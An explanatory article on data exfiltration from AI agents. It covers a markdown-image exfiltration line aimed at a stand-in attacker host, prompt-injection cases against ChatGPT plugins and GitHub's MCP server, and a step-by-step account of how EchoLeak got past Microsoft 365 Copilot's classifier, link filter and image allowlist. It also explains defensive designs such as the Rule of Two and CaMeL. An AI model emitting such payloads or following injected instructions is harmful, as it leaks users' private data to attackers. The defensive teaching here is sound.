Kolkata ·  
AI engineering
production
deep · 6 min

Data exfiltration

Data leaking out through tools and links when an agent reads untrusted content.

updated 29 Sept 2026

How do you steal someone's chat with an image?

Here's a line of markdown:

![data exfiltration in progress](https://attacker/q=SUMMARY_OF_THE_CHAT)

If a chat app shows the model's reply as markdown, that line becomes an image, and the user's browser goes off to load it. Loading it means requesting that URL. Whatever sits after q= lands in the attacker's server logs. Nobody clicked anything.

In 2023 this worked against ChatGPT with plugins. A web page, fetched by a browsing plugin, told the model to summarize the chat so far, URL-encode the summary and output an image like the one above. A test secret typed earlier in the chat, "TooManySecrets123", showed up on the attacker's server. (OpenAI's reply at the time was that image markdown was a feature.)

So the model got prompt-injected, and the image was how the data got out. Let's pull that apart, because the same shape keeps coming back.

Three things had to be true

For that leak to work, the agent needed three things at once:

  1. Private data. The chat history, an inbox, private files. Often the whole point of the tool.
  2. Untrusted content. Something an attacker could put in front of the model: a web page, an email, an issue, a tool result.
  3. A way out. Some channel that sends data somewhere the attacker can read it.

Simon Willison calls this the lethal trifecta. Put all three in one agent and an attacker can get it to read your data and send it to them. Remove any one and this particular attack has nowhere to go.

Why does the agent go along with it? Because models follow instructions in whatever they read, and they can't reliably tell ours from the attacker's. Everything ends up glued into one sequence of tokens. We can tell the model not to, but we can't be confident that holds every time.

The way out is the part people underrate. You might picture a "send email" tool. But any tool that can make an HTTP request is a way out: an API call, loading an image, even a link the user might click (one click instead of zero). Writing somewhere public counts too. GitHub's MCP server had one tool that could read public issues (where anyone can write), read private repos, and open pull requests. An injected issue could get the agent to copy private code into a pull request the attacker could read. All three ingredients in a single tool.

This isn't rare. Researchers report it against production products all the time: Bard, Amazon Q, NotebookLM, Slack, Microsoft 365 Copilot, GitLab Duo, and more.

What if we filter the way out?

That's the natural next move. Strip links from the output. Only load images from domains we trust. Scan incoming content for injections. Microsoft 365 Copilot had all of those. Let's walk through how EchoLeak (CVE-2025-32711) got past them, one at a time.

First, the attacker sends the victim an email. Later, when the victim asks Copilot something, normal retrieval pulls that email in. It's written as if to a human reader, so the injection classifier doesn't flag it, and it tells Copilot not to mention the email.

Second, Copilot removed normal markdown links from its answers. But markdown has another way to write links, reference-style, with the URL on a separate line. The filter didn't catch that form.

Third, a link still needs a click. So the attack used a reference-style image instead, which the chat UI loads on its own.

Fourth, the page only allowed images from approved domains. One approved domain was a Teams preview service that would fetch any URL you handed it. So the image pointed at Teams, and Teams fetched the attacker's URL with the secret inside.

To the victim it looked like a broken image. (Microsoft fixed it on the server in May 2025, with no sign anyone had used it.)

Each layer blocked the obvious attack. The attacker only needed one variant each layer didn't expect. Guardrail products that claim to catch 95% of attacks have the same problem: in security, 95% is a failing grade, because the attacker keeps trying until they hit the other 5%. Filters are worth having as a layer (see guardrails). They're not the plan.

Your tools, your problem

When a bug like this gets reported, the vendor usually fixes it by closing that way out. That covers their product. It does nothing for tools you wire up yourself.

Protocols like MCP make it easy to mix tools from different places, and lots of tools bring more than one ingredient through tool calling. An email tool is private data and untrusted content at once (anyone can email your agent and tell it what to do). A fetch tool is untrusted content and a way out. Three reasonable tools can add up to the full trifecta without anyone noticing.

Designing it out

Since nobody can reliably stop injection yet, the defenses that work limit what an injected agent can do.

Meta's Agents Rule of Two asks each agent, within one session, to have at most two of these: it processes untrusted input, it can reach sensitive systems or private data, it can change state or talk to the outside. Take an email bot. Only read mail from trusted senders (drop the first). Or give it a test inbox with nothing sensitive (drop the second). Or let it read everything but only send to known recipients, or after a person checks the draft (drop the third). If a task truly needs all three, it shouldn't run on its own. An agent can also switch partway: browse the web first, then give up outside communication for good before it touches internal systems.

That's the trifecta widened. "Change state" covers harm that isn't a leak, like actions nobody asked for (see excessive agency). It isn't perfectly clean, though. Meta's first diagram called every pair "safe", but untrusted input plus the power to change state can do damage with no private data at all. Meta changed the label to "lower risk".

A research design called CaMeL goes further. One model sees only your request, never the untrusted data, and turns it into a small program: find the meeting notes, pull out Bob's address and the document, send the document to Bob. A second model with no tools reads the untrusted notes and fills in the values. An interpreter runs the program and tracks where each value came from and who's allowed to see it. If an injection in the notes swaps in the attacker's address, the send would share a confidential file with someone not allowed to read it, so the interpreter stops and asks the user. On one benchmark it solved 77% of tasks with provable security, against 84% for an undefended agent. You pay with policies to write and maintain.

Both designs fall back on asking a person, and people who get asked a lot start approving without reading. That's its own problem, covered under human in the loop. Running the agent in a sandbox helps when it has to act on untrusted input.

And some things none of this stops. CaMeL can't prevent an injection that only changes text, a false summary or a phishing link shown to the user, because nothing leaves through a tool. The image at the top would be blocked. The lie in the answer next to it wouldn't.

Further reading